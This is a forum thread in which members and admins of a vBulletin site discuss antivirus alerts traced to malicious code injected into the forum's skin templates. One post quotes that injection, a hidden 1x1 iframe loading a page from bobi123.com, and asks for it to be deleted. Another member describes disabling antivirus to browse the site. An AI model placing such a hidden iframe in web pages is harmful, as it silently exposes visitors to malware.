I understand your concerns and if I believed it was infecting my computer I also would not be logging on. But I can find no indication that any malware or viruses have been downloaded onto my PC. I do turn off my antivirus when visiting here. but periodically log off and do a full scan. Nothing has been found. Nothing has been downloaded onto my PC even when the anti virus software is disable. same for my anti trojan and malware. Although both of them identify the bobi123 as malware and prevent me from logging on if I have them running.

Up until the other day the link was available for anyone to buy. I just rechecked and somebody did buy it and seems to be offering it for resale, however purchase of it has to be made through a broker.

An automated review of your brokerage application returned the following assessment:
The domain bobi123.com is already registered.

Hire a broker!
Sedo´s Domain Acquisition Service

Are you looking to buy a domain that may not be listed for sale on our marketplace? Registered domains can sometimes be purchased from the existing owner. Hire an experienced Sedo broker to negotiate an acquisition on your behalf.

* Your ApplicationYour Application
* Application ReviewYour Application
* NegotiationsYour Application
* Domain TransferYour Application

Your Application

* Submit the brokerage application form, including the domain you would like to acquire, with the maximum price you are willing to spend on your domain investment.
* There is no upfront application fee, so you pay only for premium service. Your credit card will only be charged with a 69 USD brokerage retention fee if your brokerage application is accepted. Please see our price list for the commission fee.
Please Note, our fee of 10% will be in addition to your maximum budget if we are successful in acquiring the domain name on your

SOURCE

Trying to connect directly to the link gives you this:

The only scripting on the site is HTML the site is written in Russian and for some reason I can not save the cyrillic font and it shows as gibberish.

From Google Safe Browsing I get this:

Apparently at one time the site did contain spyware and did infect one site ihiphop.com but for the past 90days it has been benign and has not infected any computers or other sites. There is no indication of any virus or other malware. Now if a certain somebody would check through the recent added features on the forum and remove the one that contains the link we would all be happier. It is a pest even though it is benign.

[AabiruSabeel]

:sl:


There's good news for everyone. We have finally found the possible culprit which is adding the malicious code in the forum templates. For now, the Element Purple skin is fixed and we are still trying to fix it in other skins. Till then, please scroll down and use Element Purple skin for browsing this forum.

:w:

[IslamicRevival]

:sl:


There's good news for everyone. We have finally found the possible culprit which is adding the malicious code in the forum templates. For now, the Element Purple skin is fixed and we are still trying to fix it in other skins. Till then, please scroll down and use Element Purple skin for browsing this forum.

:w:

Fantastic news, i will check out this site tomorrow from computer using the element purple skin, Hopefully no more darn AV pop up alerts!

[IslamicRevival]

Thank you brother woodrow for the clear explanation

[IslamicRevival]

Logged on the site, quickly changed the skin to Element purple and everything seems fine so far, Good job Admins, even though it took you 3 to 4 weeks to sort it out :)

[IslamicRevival]

Has this bobi123 malware been removed completely? still flagging up as a virus on main theme :/ an update from MODS would be good

[Woodrow]

Has this bobi123 malware been removed completely? still flagging up as a virus on main theme :/ an update from MODS would be good

As far as I know still appears if you do not use Element Purple skin. I just tried switching skins and using different anti-virus. It is detected on the other skins if I use avast but not if I use Threatfire. I am going to see if I can find other forums that use

Powered by vBulletin™ Version 4.0.3
Copyright © 2010 vBulletin Solutions, Inc. All rights reserved.
SEO by vBSEO 3.5.0 RC3
vBulletin Skin developed by: vBStyles.com

and see if that may be the overall source. I myself have very little knowledge in the newer program languages, butI do know the other admins who are familiar with the programming are still working on this.

[أحمد]

:sl:

In the script; delete the following codes:

<div><iframe src=http://bobi123.com/a/index.php width=1 height=1 style="visibility:hidden;position:absolute"></iframe></div>

<a href="http://bobi123.com/a/index.php">http://bobi123.com/a/index.php</a>

:wa:

[أحمد]

:sl:

The problem appears to be in the "above body" code area. The second code segment is preceded by "URL:", while the first has <hr/></div> before it.

:wa:

['Abd Al-Maajid]

^If only it was that simple :ermm:

Shouldn't be difficult at all (if only you know scripting).

[أحمد]

:sl:

^If only it was that simple :ermm:

Its not easy, and to make matters worse; it has to be done for each of the skins.

:wa:

[أحمد]

:sl:

Shouldn't be difficult at all (if only you know scripting).

Abu Ya7ya know's scripting better than most of us.

:wa:

['Abd Al-Maajid]

:sl:



Abu Ya7ya know's scripting better than most of us.

:wa:

Dang! I was not implying that he doesn't know scripting. And sorry if I hurt someone.:)